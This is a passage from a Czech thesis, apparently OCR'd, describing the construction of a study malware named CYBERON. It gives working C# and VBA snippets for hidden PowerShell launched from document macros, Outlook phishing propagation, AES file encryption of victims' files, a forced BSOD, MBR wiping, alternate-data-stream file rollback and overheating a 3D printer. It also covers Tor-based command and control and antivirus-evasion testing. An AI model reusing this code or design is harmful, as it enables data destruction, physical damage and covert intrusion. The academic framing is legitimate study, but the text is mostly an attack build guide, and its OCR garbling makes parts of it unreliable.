Po ulozeni ikony muzeme zacit kompilovat nas kod, ktery dokaze vytvorit infikované soubory.
Prvni metoda spociva v prekopirovani pivodniho souboru do ndmi vytvorené systémové slozky.
Do této slozky se také prekopiruje nas malware, tedy celd kyberneticka zbran. Toto je zejména
nutné v pripadé, ze se jedna o USB zafizeni.

Prvni moznosti je pouzit kod, ktery po zkompilovani vytvori spustitelny soubor, ktery na-
sledné spusti dva procesy. Prvni z nich bude vytvoreni procesu a spusténi ptuvodniho souboru.
Nésleduje spusténi procesu, ktery se postard o spusténi nasi kybernetické zbrané. Ukéazka kddu
je mozné nalézt v priloze 15.

Druhéa moznost je podobnd infekci pomoci pripojovani souboru. Zéakladem je podobny kod, ktery
vSak nespousti proces ze systémové slozky. Obsah kybernetické zbrané i ptivodniho souboru je
bindrné pripsan za nas vytvoreny spoustéc. Jelikoz zname velikost nasi kybernetické zbrané, a
také velikost puvodniho souboru, mizeme po spusténi tohoto souboru oddélit dané ¢asti, ulozit
je do docasného adreséare a poté spustit. Tyto metody maji své slabé stranky, dojde k presunu
puvodniho souboru mimo adresar. V pripadé, ze by se jednalo o spustitelny soubor, ktery vyuziva

knihovny v téze slozce, muze dojit k padu aplikace.
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Pri porovnani obou metod je zfejmé, ze prvni metoda, kterd pouze presouva soubory bude
znatelné rychlejsi. Hodi se tedy hlavné na infekci USB zafizenich, kde je pravdépodobnost, ze
dojde k brzkému odpojeni zafizeni. Pivodni soubory jsou stdle na stejném oddilu, takze by
funkcionalita méla byt zachovana. Nevyhodou muze byt pti prekopirovani naseho programu bez
dostupnych originalnich souboru, pokud dojde k odpojeni disku, nebudeme schopni spustit zadny
ze zminénych procest. Dalsi nevyhodou mize byt mensi velikost, kterda muze indikovat, ze je
néco v neporadku.

Druhéd z metod obsahuje kybernetickou zbran i samotny program, takze pfi jeho prekopi-
rovani odpada problém, ze by proces nemohl byt spustén a také nevzbuzuje podezreni, jelikoz
velikost souboru je podobna pivodni velikosti. Samozirejmé i pii této metodé je nutné pocitat,
ze muzou chybét nékteré z knihoven a aplikaci se nepodari spustit. Jako nevyhodu mizeme zmi-
nit, ze dojde k obsazeni vice mista, jelikoz kyberneticka zbran se rozkopiruje do vsech soubort.
Déle je treba zdtraznit, ze proces spojovani binarnich soubort muze trvat delsi dobu nez jen
jednoduché prekopirovani souboru.

V této metodé je nutné také identifikovat, ze aplikace byla jiz infikovana. V prvnim piipadé
doslo k binarni zméné v souboru. V této metodé vyuzivame pro indeitfikaci metadata souboru.
Kazdé aplikace muze obsahovat informace o souboru (obrazek ¢. 11) jako je nézev produktu,
popisek pripadné i verzi. Pfiznak s verzi bude vyuzit pro vyuziti aktualizace nasi kybernetické
zbrané. V nasem pfipadé se vSak zamérime na priznak AssemblyTrademark, ktery se u kazdého

infikovaného souboru nastavi na CYBERON a tim se zamezi infekce stejného souboru.

B HelloWorldConsole Properties X

General Compatibility Security Details Previous Versions

Property Value

Description
File description  HelloWordConsole
Type Application
File version 1.0.00
Product name HelloWorldConsale
Product version  1.0.0.0

Copyright Copyright © 2020
Size 450 KB

Date modffied 412020 9:19 AM
Language Language Meutral

Legal trademarks CYBEROMN

Original flename  HelloWorldConsole exe

Remove Properties and Personal Information

Obrazek 11: Ukazka zobrazeni ochranné znamky v informacich o souboru

40



6.7.3 Payload pro infekci pres e-mail

Tato ¢ast je vyuzitelna pii spolupraci s propagaci pro ziskavani dat z e-mailového klienta. Funkce
je volana v pripadé, ze dojde k nalezeni kontaktl, na které je mozné odeslat e-mail.

V prvotni fazi je nutné vymyslet falesny e-mail, ktery bude vypadat vérohodné. V pripadé
kybernetické zbrané jsem se rozhodl pro vytvoreni podvodného e-mailu, ktery bude od nasi obéti
vyzadovat vyplnéni dotazniku. Pro uspésné odeslani dotazniku je uzivatel vyzvan k povoleni
makra. Toto makro ndm umozni infikovat novou obét.

Kybernetickd zbran obsahuje ve svém koédu také dokument, ktery se posle v priloze. Tento
dokument je zarchivovan pomoci kompresni metody GZIP. Pivodni zamér bylo zamaskovani
proti antivirovym programum, ale také, aby byla nase kybernetickéd zbran co nejmensi. Archiv
nemuze byt zabezpeceny pomoci hesla, jelikoz standardni knihovna, kterd pracuje s archivem
GZIP nepodporuje tuto moznost. Vyuzitim alternativni knihovny by doslo ke zbytecnému navy-
seni celkové velikosti kybernetické zbrané. Piivodné tento payload dokazal vytvorit i dokument
a vlozit do néj potrebné makro. Nynéjsi reseni je daleko efektivnéjsi a nevyzaduje nainstalo-
vany kancelarsky balicek Office. Dulezitou soucasti je vyuziti reflexe, kterd dokaze kooperovat
s Outlookem a odesilat e-maily pomoci aplikace. Tyto e-maily se mohou tvarit, ze pochazi z
ovérené privatni sité. Dojde tedy k obchézeni bezpecnostnich mechanismi, kterymi disponuje
naptiklad Office365.

try

{
Outlook.Mailltem mail = oApp.Createltem(Outlook.01ItemType.

olMailItem) as Outlook.MailIltem;

mail.Subject = subjectEmail;
mail.To = contact[1];
mail.Body = bodyEmail;
mail.Attachments.Add(this.file);
mail.Send();

Ycatch { }

Marshal .ReleaseComObject (oApp) ;

Vypis 6: Ukazka zasilani e-mailu skrz malware

6.7.4 Infekce Word a Excel dokumentu

Poslednim payloadem, ktery slouzi na podporu sifeni se zaméruje na vklddani maker do do-
stupnych Word a Excel souborti. Jedna se predevsim o soubory, které maji priponu doc, docx,
x1ls, x1sx. Pri infekci je vSak nutné pocitat s tim, ze nové formaty jako je docx ¢i x1sx nepod-
poruji makra. Je nutné tedy soubory uklddat jako dokumenty starsiho formatu (Verze 2007 a

starsi). Novéjsi soubory, které podporuji makra maji pfipony docm p¥ipadné x1sm. Tyto pfipony
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jsou vsak velmi napadné, a tedy takovéto dokumenty se vétsinou pro nelegitimni zptsob nepo-
uzivaji. Nevyhodou stavajiciho reseni je pripad, kdy ma infikovany uzivatel dokument nového
formatu, ktery nepodporuje makra. V takovémto pripadé je nutné ulozit dokument jako starsi
forméat. Uzivatel nezpozoruje rozdil za predpokladu, ze se nebude snazit oteviit soubor ze svych
»poslednich otevienych soubort“ nebo jinych zastupct. V takovémto pripadé se vyskytne chyba,
Ze tento soubor neexistuje a uzivatel ho musi najit a znova otevrit.

V prvnim kroku musime detekovat piiponu a rozeznat, zda-li se bude jednat o dokument
Word ¢i Excel. Oba tyto formaty disponuji jinymi funkcemi podporujici makra. V pripadé Wordu
je pottreba vytvorit VBComponentu , ThisDocument®, do které je potfeba vlozit nasi subrutinu
,2Document_ Open“, ktera se provede po otevieni dokumentu. Pokud se jedna o tabulkovy pro-
cesor Excel, je potfeba vytvorit jinou komponentu a tedy ,,ThisWorkbook®“ a vytvorit jinou
subrutinu s ndazvem ,Workbook Open“. Kazda z téchto subrutin mutze obsahovat jakykoliv
kéd. V nasem pripadé se spusti Powershell, ktery se pokusi spustit nasi kybernetickou zbran.
Samotny proces funguje pomoci Reflexe a tedy je nutné, aby na stroji, ktery provadi utok byl k

dispozici Office.

Private Sub Document_Open()

Set shel = CreateObject("WScript.Shell")

shel.Run "powershell.exe -nologo -windowstyle hidden -EncodedCommand ...", O
End Sub

Vypis 7: Ukazka subrutiny, ktera spousti powershell

Posledni dulezitou ¢asti je spravné ulozeni, pokud se pokusime dokument ulozit do no-
véjsi verze nedojde k ulozeni makra. Je nutné tedy ulozit dokument jako starsi verzi a tedy
wdFormatDocument97, piipadné x10penXMLWorkbookMacroEnabled. Tato faze vypada jednodu-
cha, avsak je potfeba dodrzet funkce, které podporuje reflexe. U ukldadani Word dokumentu

nenajdeme funkci SaveAs a musime vyuzit funkce SaveAs?2.

6.7.5 Destruktivni rutina pro soubory

Hlavnim cilem celé kybernetické zbrané je ni¢eni a zpusobeni skody. Tato ¢ast se vénuje destrukci
mozné spustit jak pomoci prikazu z Internetu, tak po uplynuti predem definované doby. Tato
moznost se muze hodit prevazné v situaci, kdy se nepodari nds malware spojit se serverem, ktery
se stara o tulohy. Cilem neni vymagzat soubor, ale tento soubor zasifrovat. Tato moznost je daleko
méné napadnd, nez pripadné smazani souboru, které by mohlo byt pro uzivatele indikujici. V
pripadé Sifrovani je v nékterych piipadech mozné, Ze tyto zasifrované soubory nebudou ihned
odhaleny a dojde k jejimu zalohovani. V pripadé zalohovani s vyuzitim rotace, je mozné, ze dojde
k prepsani i zalohovanych dat v takové mite, Ze jiz nebude mozné data obnovit.

Sifrovani je tedy daleko méné ndpadné a zaroven ma mnoho vyhod. Kryptografické knihovny

dnes jiz pouzivaji témér vsechny legitimni aplikace a proto je velmi tézké zamezit takovémuto
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Sifrovani. Tato metoda mé i svou nevyhodu. Sifrovaci proces trva daleko delsi dobu nez pouhé
smazani souboru. Je tedy nutné snazit se omezit rychlost Sifrovani, aby zatizeni procesoru nezpi-
sobilo podezreni. V pripadé Sifrovani vétsich soubort je nutné tyto soubory nacitat po blocich.
V opacném pripadé by mohlo dojit k alokaci velmi velkého bloku v paméti, které mohou zpusobit
odhaleni celého procesu.

Pro sifrovaci proces byla vyuzita Sifra AES v CFB moddu s klicem o velikosti 256 bitii. Tato
kombinace je dle doporuc¢eni NIST|[23] vyhovujici az do roku 2030. Pro kazdy soubor je pomoci
nahodné vygenerovaného hesla, soli a s pomoci 100 iteraci vytvoren sifrovaci Kkli¢.

Pokud potfebujeme nacitat soubor po blocich, nemtzeme do jednoho souboru ¢ist i zapi-
sovat. Nase kybernetickd zbran proto vytvoii soubor, ktery se tvarii jako systémovy a skryty.
Nasledné je do souboru sifrovan ptivodni soubor. Po tspésném dokonceni dojde k prepsani pii-
vodniho souboru a odstranéni docasného. Vytvareni souboru je vhodné i v pripadé, zZe uzivatel
se souborem pracuje a tedy neni mozné do néj zapisovat. Po ukonceni procesu, ktery pracuje se
souborem dojde k prepsani ptivodniho souboru zasifrovanym souborem. Hlidani, zda-li je soubor
vyuzivan vsak neni soucasti této rutiny a je vhodnym prvkem pro zdokonaleni. Po dokonceni Sif-
rovani je na zacatek souboru priddna znacka ,,!/I'm $CYBERON!“, kterd indikuje, Ze soubor byl
uspésné zasifrovan. Po tspésném prekopirovani dojde k prekopirovani i metadat o systémovém

a skrytém souboru. Pivodni metadata je nutné navratit zpét.

FileStream fsCrypt = new FileStream(name + ".cyberon", FileMode.Create);

File.SetAttributes(name + ".cyberon", FileAttributes.System | FileAttributes.
Hidden);

CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(),
CryptoStreamMode.Write) ;

while ((data = fsIn.Read(buffer, 0, buffer.Length)) > 0)
cs.Write(buffer, 0, data);

File.Copy(name + ".cyberon", name,true);
File.SetAttributes(name, File.GetAttributes(name) & ~FileAttributes.Hidden & ~
FileAttributes.System) ;

File.Delete(name + ".cyberon");

Vypis 8: Nacteni souboru po blocich a odebrani ptriznaku skrytého souboru

6.7.6 Modra obrazovka smrti

Tato ¢ést se vénuje vyvolani umélého BSOD (Blue screen of death). Situace nastava pfi zdvazné
hardwarové ¢i softwarové chybé a zpusobi zaseknuti a nésledné restartovani pocitace. Hlavni
princip spociva ve vytvoreni procesu, ktery se nastavi jako kriticky. Procesy, které maji nasta-

veni procesu na kritickou hodnotu jsou vétsinou systémové a jsou nutné pro spravné fungovani
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systému. V pripadé zZe se takovyto proces jakymkoliv zptusobem ukonc¢i dojde k padu celého
systému.

Vytvorit takovyto systémovy proces je velmi naro¢né. Existuje zpiisob, kterym ptidame pro-
cesu opravnéni a systém Windows umozni vyvolat chybu, ktera zptsobi kolizi systému. Je nutné
pouzit funkce z Windows API. Jednd se o funkce Rt1AdjustPrivilege a NtRaiseHardError
z knihovny ntd11.d11. Prvni funkce slouzi k povoleni ¢i zakdzani urcitého opravnéni z vo-
laného procesu nebo vldkna. Pti pouziti funkce Rt1AdjustPrivilege s prvnim parametrem
SeShutdownPrivilege, ktery mizeme zapsat hexadecimélni hodnotou 0x19 pfidd nasemu pro-
cesu opravnéni vypnout systém.

Nésledné zavolame funkci NtRaiseHardError, kterd nam zpusobi zminény BSOD s kédem,
ktery uré¢ime v prvnim parametru. V dalsim fazi procesu je mozné pridat i dalsi parametry,
které zde nejsou blize specifikované z diivodu nedokumentované funkce. Dilezitou informaci je
predposledni parametr, tedy hexadecimalni hodnota 0x6. Tato hodnota nam rika co se ma po
této chybé stat. V pripadé hodnoty 0x6 informujeme, ze ma dojit k vypnuti celého systému,
pokud ma k tomu prislusné opravnéni. Dojde k zamrznuti a vypnuti. ve vétsiné pripadt vsak
dojde k zminénému BSOD. Abychom vSechny tyto véci mohli provést, musime povolit tzv. unsafe

mod, ktery ndm v jazyce C# dovoluje pracovat s ukazateli a externimi funkcemi.

unsafe {
Boolean previousValue;
uint previousValue2;
RtlAdjustPrivilege(19, true, false, out previousValue);
NtRaiseHardError (0xC0000420, 0, 0, IntPtr.Zero, 0x6, out previousValue2);

Vypis 9: Ukazka kédu pro BSOD

6.7.7 Navraceni zmén v souboru

Tato metoda je méné destruktivni nez predchozi. Slouzi hlavné k dtoku na soubory, které se
casto méni. Pokud uzivatel provede néjaké zmény je schopen tento itok navratit obsah souboru
o urcity cas zpét. Tato destrukce miize byt dosti neprijemnad, jelikoz uzivatel se mize domnivat,
zZe si zapomnél praci ulozit. Funkce celého procesu spociva ve vyuzivani alternativnich datovych
proudi, které mohou obsahovat libovolny obsah. Pokud vlozime data do alternativniho datového
proudu, uzivatel nevidi, ze soubor obsahuje jesté dalsi data. Dojde ke zméné celkové velikosti na
disku, ale velikost je stéle stejna. Je nutno fict, Ze tyto alternativni datové proudy jsou dostupné
pouze na discich, které jsou naformatované na souborovy systém NTFS. Na novych operac¢nich
systémech Windows je tento souborovy systém plné podporovan. Datové proudy samotny Win-
dows prilis nepouziva. Pokud pomineme standardni datovy proud, ktery nese nazev :$DATA,

existuje jesté jeden, ktery systém Windows casto pouziva. Pokud stdhneme libovolny dokument
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z Internetu, je do tohoto dokumentu a jeho alternativniho proudu s ndzvem Zone.Identifier
vloZena informace, odkud byl soubor stazen. Sim textovy procesor Word poté identifikuje sta-
zeny soubor a zobrazi soubor v chranéném zobrazeni (obrézek ¢. 12), ktery informuje uzivatele

o tom, ze tento soubor pochézi z Internetu a muze obsahovat viry.

[ PROTECTEDVIEW Buaneful—[ilen ficen th ntwmmut s conbain sinms. Uelies g s b sdit, i vl sy in Probe b Vi Crable Lciting

Obrazek 12: Word - detekce stazeného souboru

Pokud tento datovy proud odstranime, pieskoc¢ime tim tento chranény rezim. V nasi ky-
bernetické zbrani budeme vyuzivat alternativni datovy proud s ndzvem CYBERON. Do tohoto
mista budeme zapisovat nase binarni data, kterd jsou v podobé struktury. Struktura bude obsa-
hovat ¢as posledni ipravy a bindrni kopii souboru. V pripadé, zZe uz tento datovy proud existuje,
nebude se délat jeho kopie a tim jsme schopni mit ulozenou starou kopii souboru. Po uplynuti
pozadovaného Casu muzeme binarni data obnovit zpét do datového proudu :$DATA, a tim dojde
k prepsani souboru, ktery byl pozménén jeho starsi verzi. Tyto alternativni datové proudy jsou

casto prehlizeny antivirovymi programy, coz muze byt pro kybernetickou zbran vyhoda.

byte[] fileBytes = File.ReadAllBytes(filePath);

AltStreamStruct AltStruct = new AltStreamStruct(file.lLastWriteTimeUtc,
fileBytes);

FileStream fsAlt = file.GetAlternateDataStream("CYBERON") .OpenWrite();

BinaryFormatter formatter = new BinaryFormatter();

formatter.Serialize(fsAlt, AltStruct);

fsAlt.Close();

Vypis 10: Zapsani datového proudu do souboru

6.7.8 Smazani hlavicky disku, ktera obsahuje rozdéleni disku

Pri spousténi pocitace je zavadéni celého systému zavislé na tabulce, ktera obsahuje informace o
rozdéleni disku. Na prvnim disku lze najit operacni systém. V prvnim sektoru kazdého disku lezi
praveé informace o rozdéleni tohoto disku. Pokud je tato ¢ast jakkoliv porusena, dojde k problému
pri spusténi systému a uzivatel je informovan o chybéjicim systému. V pripadé zapnuté podpory
UEFT je vyuzivan vlastni zavadé¢ operac¢niho systému, kterému je vyhrazen prvni oddil. Tento
oddil ma nazev EFI a obsahuje také dalsi informace o oddilech.

V pripade pouziti MBR je velikost sektoru 512 bajt a obsahuje nejen zavadéc¢ pro operacni
systém, ale také informace o rozdéleni disku a jejich identifikdtory (obrazek ¢. 13). V nékterych
pripadech tento zavadéc slouzi i pro odemknuti disku. Po zadani hesla je toto heslo pouzito k
odemceni disku a naslednému startu systému. V pripadé, ze dojde ke smazani takovéhoto zava-

déce pri Sifrovaném disku, je uzivatel kompletné odstrizen od dat a je nutné pouzit obnovovaci
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kli¢, ktery musi mit uzivatel zazalohovany. Pokud je disk nesifrovany, jsou data dostupné napii-
klad z distribuce Linuxu. V Pripadé pouzivani UEFI je situace odlisna. Misto puavodniho MBR
spousti UEFT svtij vlastni zavadé¢ a nacitda EFI oddil. Tento oddil poté mtze obsahovat MBR
nebo GPT tabulku, ktera také obsahuje rozdéleni disku. Tato ¢ast je umisténa na zacatku disku

a tedy dojde k podobnému naruseni tabulky.

Zavadés Oddily Usfkr;gi:"
446 bajtu 64 bajtu 2 baity
512 bajtu

Obrazek 13: Hlavni spoustéci zdznam (MBR)

Jednd se o destruktivni metodu, kterd se pokusi vymazat prvnich 512 bajti z disku a tim
znemozni nasledné zavedeni systému. Nedojde k destrukci uzivatelskych dat, ale uzivatel jiz
nebude moct systém znovu spustit. Uzivatel je poté nucen zavolat IT technika. PT¥i spravném
naplanovani lze tuto metodu zkombinovat s uméle vyvolanym BSOD, ktery donuti pocitac se
restartovat.

Aby bylo mozné zapisovat data piimo na sektor, je potfeba pouZzit systémovou knihovnu

kernel32 a funkce WriteFile a CreateFile.

byte[]l Data = new byte[512];

uint BytesWritter = 0;

IntPtr MBR = CreateFile( "\\\\.\\PhysicalDriveO", 0x10000000, 0x3, IntPtr.Zero,
0x3, 0, IntPtr.Zero);

WriteFile(MBR, Data, 512, out BytesWritter, IntPtr.Zero));

Vypis 11: Prepsani MBR

Prvni funkce CreateFile se postard o nalezeni adresy, na které poté vynulujeme 512 bajti.
Funkce CreateFile nam dovoli pfistupovat k celému disku PhysicalDrive0. Dalsi oddily lezi
mimo tento sektor. Dilezité jsou pouze parametry, které nam definuji préava. Druhy z parametru
ve funkci urcuje pristup, hexadecimalni hodnota 0x10000000 déava vsechna obecnda prava. Po-
dobné je tomu u tretiho parametru, ktery ma hexadecimélni hodnotu 0x3 a umozni ¢teni a zapis
na specifické misto. Zbyvajici parametry jiz nejsou tak podstatné. Nasleduje funkce WriteFile,
ktera na specifickou adresu zapiSe nami vytvorené pole 512 bajtu, které je v tomto pripadé

prazdné. Po tomto kroku a néasledném restartovani jiz pocita¢ nebude schopen nacist systém.
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6.7.9 Utok na 3D tiskarnu

vvvvv

znacné skody a pripadné fyzické zniceni zafizeni. Vyvinout takovyto skodlivy kéd neni jedno-
duché a je potreba mit k tomuto dostateéné informace o zarizeni na které budeme ttocit. Pro
testovaci tcely byla vybrana 3D tiskarna, ktera bude pomoci kybernetické zbrané v predem
urc¢eném okamziku ovladnuta. Tento skodlivy kéd bude obsahovat pouze ¢ast, kdy ptuvodni soft-
ware odpoji tiskdrnu od sériového portu a nasledné zacne kybernetickd zbran komunikovat se
zalizenim. V priipadé tiskdrny se bude jednat o navazani spojeni a zasilani soubord, ktery ob-
sahuje G kody. 3D tiskdrna pro svuj tisk pouziva G kédy, které slouzi pro ovlddani tiskdrny
zatimco, M kody pracuji prevazné s nastavenim. Pokud bychom chtéli zptsobit néjaké fyzické
zniceni muzeme pomoci M kédu nastavit velmi vysoké teploty na podlozce a hotendu (kédy
M104, M140). Timto by mohlo dojit i ke vzplanuti tiskdrny. Dalsi ze zptusobu fyzického zni¢eni
by bylo pretoceni os do hodnot, kterymi tiskarna nedisponuje. Timto by mohlo dojit ke zniceni
motort, které se staraji o polohovani. Jelikoz se jedna kybernetickou zbran pro studijni cely,
bude tento kéd obsahovat data pro tisk textu CYBERON.

M140 S60

M105

M190 S60

M104 S200

M105

M109 S200

GO F3600 X83.658 Y103.22 Z0.3

Vypis 12: Ukazka M koédu pro nastaveni teplot a nasledny pohyb pomoci G kédu

Hlavnim problémem je zjistit, ktery z procest pristupuje k sériovému portu a stard se o
tisk. Windows si u sériovych portl nezaznamenava informace o procesu, ktery s nim pracuje.
Prvotni myslenkou bylo sériovy port zakizat a povolit skrz jiz zndmé Windows API. Bohuzel i po
zakazani ¢i odinstalovani sériového portu skrz spravce zafizeni a to veetné ovladaci byl ptivodni
proces stale spustén a fungoval bez problému. Nejjednodussim zpusobem bylo projit znamé nazvy
procesii a tyto procesy nasilné ukoncit. Pro nase testovani ukonc¢ime proces Octoprint. Kéd je
vSak pripraven pro ukonceni vSech procesi, které mu zadame. Po tspésném ukonceni procesu

se nase kyberneticka zbran muze pripojit na sériovy port a zacit komunikovat s tiskarnou.

SerialPort port = new SerialPort(portname, baudrate);
try{

port.0Open();

port.NewLine = "\n";

port.DtrEnable = true;

port.RtsEnable = true;
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while ((line = reader.ReadLine ()) != null)

{
string 1 = line.Trim() + "\n";
port.Write (line);
}
Ycatch {}

Vypis 13: Ukédzka navazani komunikace s 3D tiskdrnou

Je nutno fict, ze komunikaci pres sériovy port je mozné pouzit pro libovolné zarizeni. 3D
tiskdrna v tomto pripadé zastupuje zafizeni fungujici na mikrokontroléru.

Jako pripadné vylepseni by tato funkce mohla obsahovat pfemosténi daného portu a poté
falesné indikovat, ze se ptivodni proces jen prerusil. Po zpétném navazani by se tvaril, ze tisk stéle
probiha. Tato ¢ast by vSak musela obsahovat vytvoreni virtuidlniho sériového portu a puvodni
sériovy port by se musel pfesunout jinam. Pro tuto ¢innost je vsak potfeba vytvorit ovladac,

ktery by se do systému nainstaloval a tyto virtualni porty premapoval.
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7 Zivotni cyklus kybernetické zbrané

Instalace a zivotni cyklus této kybernetické zbrané 1ze popsat UML diagram, ktery je na obrazku
¢. 14.

Skryti
konzole

Y

Obsahuje

Ano-— soubor hosta ?

Spusténi
hosta

——Ne

Bézi

——Ano—— kyberneticka
zbran ?
Je dostupna v
Ne— %APPDATA% ? —Ano
\
Spusténi v
Y %APPDATA%

O,

Obrazek 14: Prvotni inicializace kybernetické zbrané

V pripadé, ze je ptivodni host dostupny v souboru, dojde k jeho spusténi. Nasledné se zkon-
troluje, zda-li tato kyberneticka zbran bézi. Aby se predeslo znovu-spousténi, disponuje kyber-
netickd zbran funkci vzajemného vylouceni (Mutual exclusion). O tuto funkcionalitu se stard
trida Mutex, kterd alokuje specidlni proménou, kterd je sdilena mezi procesy. V piipadé znovu-
spusténi dojde k detekci a nasledné k ukonceni této nové instance. Pokud kyberneticka zbran
nebézi, prekopiruje se puvodni ¢ast kybernetické zbrané do pevné dané cesty. Pro vytvoreni této
cesty se vyuziva proménna %APPDATAY a to z diivodu nevyzadovani opravnéni pri zapisovani do
této cesty. Nasledné dojde ke spusténi kybernetické zbrané v novém procesu.

Nasleduje spusténi funkce, ktera kontroluje verzi kybernetické zbrané. V této fazi je mozné
zbran nejen aktualizovat, ale v pripadé potreby i smazat. Po Uspésné aktualizaci se vyuziva
zranitelnost, ktera spusti malware se zvySenym opravnénim. Cely tento proces je zobrazen na

UML diagramu vyobrazeného na obrazku ¢. 15.
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Je soubor uréen
k aktualizaci ?

rAno
Provedeni
aktualizace

l

Bézim jako
administrator

Spustit se Zajisténi
zvySenym spusténi po
opravnénim startu systému
-

y
Paralelni Spusténi
spusténi vldkna pro

procesl hlidani USB

Kontrola Uloh

pro
zpracovani

Obréazek 15: Spusténi kybernetické zbrané a jeji instalace

V pripadé, ze dojde v prvni fazi ke spusténi malware, je nutné ovérit, zda-li neprobiha aktua-
lizace kybernetické zbrané. Déle prichazi kontrola, Ze tento proces bézi se zvySenym opravnénim.
V posledni fazi dochazi k vytvoreni planované ulohy, ktera zajisti spusténi kybernetické zbrané
po kazdém spusténi systému. Nésleduje vytvoreni udalosti, kterd ¢eka na pripojeni USB zari-
zeni, které by nasledné bylo infikovano. Poté dochazi ke spusténi tloh, které mé kybernetickéa

zbran prednastavené. Kazd4 z tloh muze byt spusténa s predem urcenym zpozdénim.

Tabulka 8: Prednastavené tlohy po startu kybernetické zbrané

Zranitelnost

Metoda Propagace

Skodlivy modul

lokalni soubory

pripojeni

sdilené soubory

povoleni maker

infekce dokumentu

elektronicka posta

povoleni maker

zaslani infikovaného e-mailu

soubory na plose

Vréceni zmén
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Tyto tlohy se prevazné staraji o rozsiteni malwaru. V pripadé, ze je datum na infikovaném
pocitaci starsi 18. kvétna daného roku, dochézi k pridani destruktivni rutiny, kterd se snazi

vSechny soubory na plose znicit. VSechny tyto naplanované tlohy se opakuji kazdou hodinu.
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8 Komunikace a prijimani prikazt

Kazda kybernetickd zbran by méla disponovat moznosti komunikovat se serverem. To proto,
aby v pripadé odhaleni mohl autor malwaru pozménit kybernetickou zbran, aby se stala znovu
nedetekovatelnou. V pripadé, Ze je néjaka zranitelnost kybernetické zbrané opravena, je mozné
vzdéalené implementovat nové zranitelnosti. Diky tomuto zlstane funkcénost zbrané zachovana.
K navazani takovéto komunikace je v ramci nasi kybernetické zbrané dostupna moznost komu-
nikace se serverem skrz Dark web. V pripadé standardniho vyuziti internetu se casto stava, ze
dojde k zablokovani domény, piipadné celé IP adresy. Pro komunikaci s dark webem je nutné

vyuzit software TOR, ktery umoznuje anonymni komunikaci.

Entry guard

== Encrypted by Tor

i ==« Not encrypted by Tor
Q’“"—"" 6 el
Tor client ' = .
- [}csination

Middle relay\
Ex:t relay

Obréazek 16: Struktura sité a ukdzka smérovani|[24]

Hlavnim principem sité je vyuziti smérovani skrze minimalné t¥i uzla [25]. Téchto uzlu vsak
muze byt daleko vice. Dtlezitym prvkem této sité je, ze kazdy pozadavek je veden skrz ndhodné
uzly, které si systém TOR ndhodné vybere. Struktura TORu je zalozena na zapouzdieni. Kazda
zprava je zapouzdiena a zasifrovana jako zvlastni vrstva. Kazdy uzel, ktery zpravu obdrzi ji

rozsifruje a nasledné posle dalsimu smérovaci. Diky této technologii je komunikaci daleko tézsi
odchytit a zakazat.

Router A Key
Router B Key
Router C Key

Source %es mafion

>

Obréazek 17: Ukazka zapouzdieni zpravy
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Nejprve bylo nutné vytvorit server, ktery se bude starat o obslouzeni pozadavkt. Pro tento
ucel byl vytvoren webovy systém v programovacim jazyce PHP, ktery umoznuje vzdalené ovladat
kybernetickou zbran. V aktualni konfiguraci je systém s nainstalovanym softwarem nginx, ktery
funguje jako webovy server. Po tspésné konfiguraci webového serveru je jesté nutné pripojit
webovy server do TOR sité skrz nakonfigurovani onion sluzby [26]. Pro zprovoznéni nasi skryté

sluzby stac¢i pridat nasledujici fadky do konfigura¢niho souboru torrc.

HiddenServiceDir /var/lib/tor/hidden_service/

HiddenServicePort 80 127.0.0.1:80

Vypis 14: Konfiguracni soubor torrc

Po restartovani sluzby dojde k inicializaci kli¢t a naslednému vytvoreni doménového jména,
které bude slouzit pro komunikaci se zbrani. Kazdy pocita¢ infikovany kybernetickou zbrani se
v periodicky c¢as doptava tohoto serveru na seznam tiloh, které mé zpracovat. Také kontroluje
aktualni verzi s dostupnou verzi na serveru. V pripadé dostupné nové verze se kyberneticka
zbran aktualizuje. Aby vsak vSechna data prochazela pres TOR sif, vytvori si kyberneticka
zbran lokalni proxy server, pres kterou vSechna data prochazi.

Mezi hlavni nedostatky patii nedostupnost UDP protokolu, ktery chybi z principu fungovani
TORu. Dalsim problémem mohou byt koncové uzly, které vidi data nesifrované a mohlo by dojit

ke zneuziti.
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9 Vysledek experimentu

9.1 Srovnani detekci

Jak jiz bylo Teceno diive, dulezitou funkci je nedetekovatelnost malwaru. Kyberneticka zbran
tomu nemé divod. Tento duvod se muze lisit. Aktivaéni rutina se muze spustit az po detekci
urcitého zarizeni, splnéni logické podminky napr. datum, nebo vzdalené splnéni prikazu. Pri
vyvoji je nutné zajistit a otestovat, které antivirové programy nas malware detekuji a pripadné se
pokusit nas kéd prepsat tak, aby byl nedetekovatelny. Abychom nemuseli zkouset kybernetickou
zbran na virtualnich zafizenich s riznymi antivirovymi programy, existuji zde webové antivirové
skenery. Tyto skenery otestuji nasi aplikaci a pripadné nahlasi o jaky typ malwaru se jedna.
Nejznameéjsi z téchto skeneru je VirusTotal. Tento skener mé pro vyvojafe malwaru velkou
nevyhodu a tou je, ze tyto soubory spolu s vysledky odesila bezpecnostnim experttim, ktefi
poté blize zkoumaji celou aplikaci a doplnuji virovou databazi. Pro tento experiment byl vyuzit
skener ScanMyBin, ktery vSak testuje pouze 27 antiviri a jeho funkcionalita je placena. Pouze
dva antivirové programy z 27 detekovali nasi kybernetickou zbran jako skodlivou, obé zminéné
ji detekovali jako ,, Trojan.PowerShell.Generic“, tedy nalezeni skodlivého kédu v PowerShellu.

Tento kod pravdépodobné souvisi s infekci dokumenti.

Obrézek 18: Vysledky detekce skeneru ScanMyBin 8
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9.2 Testovani

Testovani je dulezitym faktorem pii vyvoji kybernetické zbrané. Tento malware se snazi auto-
maticky po spusténi infikovat rizné soubory. Pro tento ucel bylo vytvoreno testovaci prostredi
vyobrazené na obrazku ¢. 3. VSechny systémy, které byly prichystany pro testovani mély na-
stavenou hodnotu fizeni uzivatelskych tc¢tu na nejvyssi troven. Vsechny virové databaze byly
aktualizovany a vsechny funkcionality zapnuty. Jedinou vyjimkou je vypnuti zasilani vzorku an-
tivirovym spole¢nostem. Pro nazornou ukazku je soucasti této prace video ukéazka, ktera slouzi
pro nazornou funkénost kybernetické zbrané. Video-ukazka je rozdélena na nékolik ¢asti. Prvni
¢ast je vénovana ukézce nastaveni systému. V case 0:55 dochazi k prvotni infekci z dokumentu z
legitimniho dokumentu. Néasleduje stazeni a spusténi zbrané, kterd se také zapise do systému a
umozni spousténi po startu. Na plose je poté vytvoren soubor CYBERON.TXT, ktery obsahuje in-
formace, které kyberneticka zbran provadi. Malware mé naplanované tlohy, které jsou definované
